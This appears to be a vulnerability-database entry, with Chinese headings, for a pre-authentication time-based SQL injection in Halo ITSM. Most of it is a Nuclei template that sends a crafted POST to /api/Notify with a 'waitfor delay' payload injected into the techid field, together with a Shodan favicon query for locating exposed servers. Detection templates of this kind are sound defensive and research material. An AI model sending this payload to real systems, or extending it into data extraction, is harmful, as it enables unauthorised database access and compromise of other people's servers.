halo-tism-sqli: Halo ITSM - Pre-Authentication SQL Injection

日期: 2025-08-01 | 影响软件: Halo ITSM | POC: 已公开

漏洞描述

A Time-Based SQL Injection vulnerability in Halo ITSM allows unauthenticated attackers to execute malicious SQL queries by leveraging time delays, potentially leading to data exfiltration, privilege escalation, or full system compromise.

PoC代码[已公开]

id: halo-tism-sqli

info:
  name: Halo ITSM - Pre-Authentication SQL Injection
  author: rootxharsh,iamnoooob,pdresearch
  severity: critical
  description: |
    A Time-Based SQL Injection vulnerability in Halo ITSM allows unauthenticated attackers to execute malicious SQL queries by leveraging time delays, potentially leading to data exfiltration, privilege escalation, or full system compromise.
  reference:
    - https://slcyber.io/assetnote-security-research-center/loose-types-sink-ships-pre-authentication-sql-injection-in-halo-itsm/
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:489905671
  tags: halo,itsm,sqli,time-based-sqli,vuln

variables:
  string: "{{rand_text_numeric(10)}}"

http:
  - raw:
      - |
        @timeout: 20s
        POST /api/Notify HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {
          "sessionid": "{{randstr}}",
          "tracking0": "{{string}}",
          "techid": "1;waitfor delay '0:0:6'--",
          "pickuptime": "2025-03-03T10:00:00",
          "lastactiontime": "2025-03-03T10:00:00",
          "chatlog": "{{randstr}}"
        }

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains(body, "ok")'
        condition: and
# digest: 490a0046304402202b29b5cf9b7e55c9685aafc2ab579d96805ad08c2fc134e2e66c1705714ede760220652e07962c6cfd1e8bd86f14d516af8891db091f404caa32456b45a274c8705a:922c64590222798bb761d5b6d8e72950

相关漏洞推荐